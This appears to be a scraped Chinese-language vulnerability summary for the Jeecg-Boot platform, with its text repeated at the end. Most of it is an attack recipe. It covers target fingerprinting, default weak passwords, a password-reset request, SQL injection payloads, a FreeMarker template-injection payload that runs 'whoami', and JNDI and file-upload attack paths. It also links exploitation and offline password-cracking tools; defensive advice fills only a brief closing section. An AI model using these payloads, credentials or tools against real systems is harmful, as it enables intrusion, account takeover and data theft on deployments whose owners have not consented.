Jeecg-boot常见漏洞汇总
字数 2600 2025-09-01 11:26:11

Jeecg-Boot 安全漏洞分析与防护指南

1. Jeecg-Boot 简介

JeecgBoot 是一款基于代码生成器的低代码开发平台,主要特点包括:

  • 前后端分离架构(Ant Design & Vue3, SpringBoot, SpringCloud Alibaba)
  • 强大的代码生成器功能
  • 集成AI应用能力(知识库问答、模型管理、流程编排等)
  • 支持多种AI大模型(ChatGPT、DeepSeek、Ollama等)

官网地址:https://jeecg.com
开源项目地址:https://github.com/zhangdaiscott/jeecg-boot

2. 资产识别方法

2.1 指纹特征

  • 网页特征:/sys/common/pdf/pdfPreviewIframe、"积木报表"、"Jeecg-Boot 快速开发平台"
  • 图标哈希:1380908726 或 -250963920
  • 加载动画特征

2.2 常见弱口令

admin/123456
jeecg/123456
admn/admin
test/test
demo/test
jeecg/jeecg123456
guest/guest

3. 高危漏洞分析

3.1 密码重置漏洞

路径/jeecg-boot/sys/user/passwordChange
方法:GET
参数

username=admin
password=admin
smscode=
phone=

影响:任意用户密码重置

3.2 信息泄露漏洞

3.2.1 用户信息泄露

路径

  • /jeecg-boot/sys/user/querySysUser?username=admin
  • /jeecg-boot/sys/user/checkOnlyUser?username=admin

3.2.2 目录遍历

路径/jeecg-boot/online/cgform/head/fileTree?_t=1632524014&parentPath=/
影响:低权限账号可获取服务器文件目录信息

3.3 SQL注入漏洞

3.3.1 /sys/dict/queryTableData SQL注入

版本:3.4.4及之前
方法:POST
路径/jeecg-boot/sys/dict/queryTableData

3.3.2 /onlDragDatasetHead/getTotalData SQL注入

版本:3.7.1
方法:POST
路径/jeecg-boot/drag/onlDragDatasetHead/getTotalData

3.3.3 /getDictItemsByTable SQL注入

方法:GET
路径/jeecg-boot/sys/ng-alain/getDictItemsByTable/'%20from%20sys_user/*,%20'/x.js

3.3.4 /jmreport/show SQL注入

版本:3.5.0和3.5.1
方法:POST
路径/jeecg-boot/jmreport/show
Payload示例

{
  "id": "961455b47c0b86dc961e90b5893bff05",
  "apiUrl": "",
  "params": {
    "id ": "1 ' or ' % 1 % ' like (updatexml(0x3a,concat(1,(version())),1)) or ' % % ' like '"
  }
}

3.3.5 /sys/duplicate/check SQL注入

特点:需要身份认证
方法:GET
路径/jeecg-boot/sys/duplicate/check
参数

tableName=v3_hello
fieldName=1+and%09if(user(%20)='root@localhost',sleep(0),sleep(0))
fieldVal=1
dataId=asd

3.4 模板注入漏洞

3.4.1 SSTI模板注入

路径/jeecg-boot/jmreport/loadTableData
版本:3.5.3
Payload示例

{
  "dbSource":"",
  "sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"whoami\")}'",
  "tableName":"test_demo);",
  "pageNo":1,
  "pageSize":10
}

3.4.2 AviatorScript表达式注入

路径

  • 保存:/jeecg-boot/jmreport/save
  • 触发:/jeecg-boot/jmreport/show

3.4.3 Freemarker模板注入

路径

  1. 添加模板:/jeecg-boot/sys/message/sysMessageTemplate/add
  2. 发送模板:/jeecg-boot/sys/message/sysMessageTemplate/sendMsg
  3. 查看结果:/jeecg-boot/sys/message/sysMessage/list

3.5 JNDI注入漏洞

版本:4.0及之前
路径/api/../jeecgFormDemoController.do?interfaceTest=
利用条件

  • 依赖fastjson 1.2.31版本
  • 远程LDAP服务器

3.6 文件上传漏洞

3.6.1 未授权文件上传

路径/jeecg-boot/jmreport/upload
特点:上传无需授权,但访问需要token

3.6.2 路径遍历文件上传

路径/jeecg-boot/api/../commonController.do?parserXml
方法:POST
Content-Typemultipart/form-data

4. 常见接口列表

4.1 信息类接口

/v2/api-docs
/swagger-ui.html
/env
/actuator
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator/httptrace
/druid/index.html
/druid/sql.html
/druid/weburi.html
/druid/websession.html
/druid/weburi.json
/druid/websession.json
/druid/login.html

4.2 用户管理接口

/sys/user/list
/sys/user/add
/sys/user/edit
/sys/user/queryById
/sys/user/changePassword
/sys/user/delete
/sys/user/addSysUserRole

4.3 权限管理接口

/sys/role/list
/sys/role/add
/sys/role/edit
/sys/role/queryPermission
/sys/role/delete
/sys/menu/list
/sys/menu/add
/sys/menu/edit
/sys/menu/delete

4.4 数据管理接口

/online/cgform/list
/online/cgform/add
/online/cgform/edit
/online/cgform/delete
/online/cgform/fields/{tableName}
/online/cgform/table/list
/online/cgform/table/sync
/online/cgform/generateCode

5. 漏洞利用工具

5.1 综合利用工具

项目地址:https://github.com/Framework-vulnerability-tool/jeecg
功能

  • 远程命令执行
  • SQL注入利用
  • 文件上传
  • 信息泄露
  • JNDI注入等

5.2 离线密码爆破工具

项目地址:https://github.com/ssrsec/JeecgBoot-offline-brute
使用场景:通过SQL注入获取加密凭据后的离线爆破
使用方法

  1. 通过SQL注入获取用户名加密密码salt
  2. 存入data.json
  3. 准备密码字典pass.txt
  4. 执行:java -jar JeecgBoot-offline-brute.jar

6. 防护建议

  1. 及时升级:保持Jeecg-Boot版本为最新
  2. 权限控制
    • 严格限制接口访问权限
    • 禁用不必要的接口
  3. 输入验证
    • 对所有用户输入进行严格过滤
    • 使用参数化查询防止SQL注入
  4. 安全配置
    • 修改默认密码
    • 禁用调试接口
    • 限制文件上传类型
  5. 监控审计
    • 监控异常访问行为
    • 定期审计系统日志

7. 总结

Jeecg-Boot作为一款流行的低代码开发平台,存在多种高危漏洞,攻击者可能通过这些漏洞获取系统权限、窃取敏感数据或破坏系统。安全团队应重点关注SQL注入、模板注入和文件上传等漏洞,并采取相应的防护措施。

Jeecg-Boot 安全漏洞分析与防护指南 1. Jeecg-Boot 简介 JeecgBoot 是一款基于代码生成器的低代码开发平台,主要特点包括: 前后端分离架构(Ant Design & Vue3, SpringBoot, SpringCloud Alibaba) 强大的代码生成器功能 集成AI应用能力(知识库问答、模型管理、流程编排等) 支持多种AI大模型(ChatGPT、DeepSeek、Ollama等) 官网地址:https://jeecg.com 开源项目地址:https://github.com/zhangdaiscott/jeecg-boot 2. 资产识别方法 2.1 指纹特征 网页特征: /sys/common/pdf/pdfPreviewIframe 、"积木报表"、"Jeecg-Boot 快速开发平台" 图标哈希:1380908726 或 -250963920 加载动画特征 2.2 常见弱口令 3. 高危漏洞分析 3.1 密码重置漏洞 路径 : /jeecg-boot/sys/user/passwordChange 方法 :GET 参数 : 影响 :任意用户密码重置 3.2 信息泄露漏洞 3.2.1 用户信息泄露 路径 : /jeecg-boot/sys/user/querySysUser?username=admin /jeecg-boot/sys/user/checkOnlyUser?username=admin 3.2.2 目录遍历 路径 : /jeecg-boot/online/cgform/head/fileTree?_t=1632524014&parentPath=/ 影响 :低权限账号可获取服务器文件目录信息 3.3 SQL注入漏洞 3.3.1 /sys/dict/queryTableData SQL注入 版本 :3.4.4及之前 方法 :POST 路径 : /jeecg-boot/sys/dict/queryTableData 3.3.2 /onlDragDatasetHead/getTotalData SQL注入 版本 :3.7.1 方法 :POST 路径 : /jeecg-boot/drag/onlDragDatasetHead/getTotalData 3.3.3 /getDictItemsByTable SQL注入 方法 :GET 路径 : /jeecg-boot/sys/ng-alain/getDictItemsByTable/'%20from%20sys_user/*,%20'/x.js 3.3.4 /jmreport/show SQL注入 版本 :3.5.0和3.5.1 方法 :POST 路径 : /jeecg-boot/jmreport/show Payload示例 : 3.3.5 /sys/duplicate/check SQL注入 特点 :需要身份认证 方法 :GET 路径 : /jeecg-boot/sys/duplicate/check 参数 : 3.4 模板注入漏洞 3.4.1 SSTI模板注入 路径 : /jeecg-boot/jmreport/loadTableData 版本 :3.5.3 Payload示例 : 3.4.2 AviatorScript表达式注入 路径 : 保存: /jeecg-boot/jmreport/save 触发: /jeecg-boot/jmreport/show 3.4.3 Freemarker模板注入 路径 : 添加模板: /jeecg-boot/sys/message/sysMessageTemplate/add 发送模板: /jeecg-boot/sys/message/sysMessageTemplate/sendMsg 查看结果: /jeecg-boot/sys/message/sysMessage/list 3.5 JNDI注入漏洞 版本 :4.0及之前 路径 : /api/../jeecgFormDemoController.do?interfaceTest= 利用条件 : 依赖fastjson 1.2.31版本 远程LDAP服务器 3.6 文件上传漏洞 3.6.1 未授权文件上传 路径 : /jeecg-boot/jmreport/upload 特点 :上传无需授权,但访问需要token 3.6.2 路径遍历文件上传 路径 : /jeecg-boot/api/../commonController.do?parserXml 方法 :POST Content-Type : multipart/form-data 4. 常见接口列表 4.1 信息类接口 4.2 用户管理接口 4.3 权限管理接口 4.4 数据管理接口 5. 漏洞利用工具 5.1 综合利用工具 项目地址 :https://github.com/Framework-vulnerability-tool/jeecg 功能 : 远程命令执行 SQL注入利用 文件上传 信息泄露 JNDI注入等 5.2 离线密码爆破工具 项目地址 :https://github.com/ssrsec/JeecgBoot-offline-brute 使用场景 :通过SQL注入获取加密凭据后的离线爆破 使用方法 : 通过SQL注入获取 用户名 、 加密密码 和 salt 存入 data.json 准备密码字典 pass.txt 执行: java -jar JeecgBoot-offline-brute.jar 6. 防护建议 及时升级 :保持Jeecg-Boot版本为最新 权限控制 : 严格限制接口访问权限 禁用不必要的接口 输入验证 : 对所有用户输入进行严格过滤 使用参数化查询防止SQL注入 安全配置 : 修改默认密码 禁用调试接口 限制文件上传类型 监控审计 : 监控异常访问行为 定期审计系统日志 7. 总结 Jeecg-Boot作为一款流行的低代码开发平台,存在多种高危漏洞,攻击者可能通过这些漏洞获取系统权限、窃取敏感数据或破坏系统。安全团队应重点关注SQL注入、模板注入和文件上传等漏洞,并采取相应的防护措施。